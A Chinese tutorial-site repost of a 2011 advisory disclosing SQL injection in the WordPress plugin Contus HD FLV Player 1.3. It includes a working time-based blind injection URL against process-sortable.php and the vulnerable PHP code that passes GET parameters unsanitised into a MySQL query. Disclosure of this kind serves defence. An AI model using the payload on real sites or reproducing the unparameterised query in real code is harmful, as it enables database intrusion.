网站地图    收藏   

主页 > 后端 > 网站安全 >

WordPress插件Contus HD FLV Player <= 1.3 SQL注射缺陷及

来源:自学PHP网    时间:2015-04-17 14:47 作者: 阅读:

[导读] 标题: WordPress Contus HD FLV Player plugin = 1.3 SQL Injection Vulnerability时间: 2011-08-17作者: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)下载地址: http://down......

标题: WordPress Contus HD FLV Player plugin <= 1.3 SQL Injection Vulnerability
时间: 2011-08-17
作者: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
下载地址: http://downloads.wordpress.org/plugin/contus-hd-flv-player.1.3.zip
测试版本: 1.3 (tested)
 
---
测试方法
---
http://www.2cto.com /wp-content/plugins/contus-hd-flv-player/process-sortable.php?playid=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)&listItem[]=1
 
---------------
Vulnerable code
---------------
$pid1 = $_GET['playid'];
 
foreach ($_GET['listItem'] as $position => $item) :
    mysql_query("UPDATE $wpdb->prefix" . "hdflv_med2play SET `sorder` = $position WHERE `media_id` = $item and playlist_id=$pid1 ");
endforeach;
修复:
过滤

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论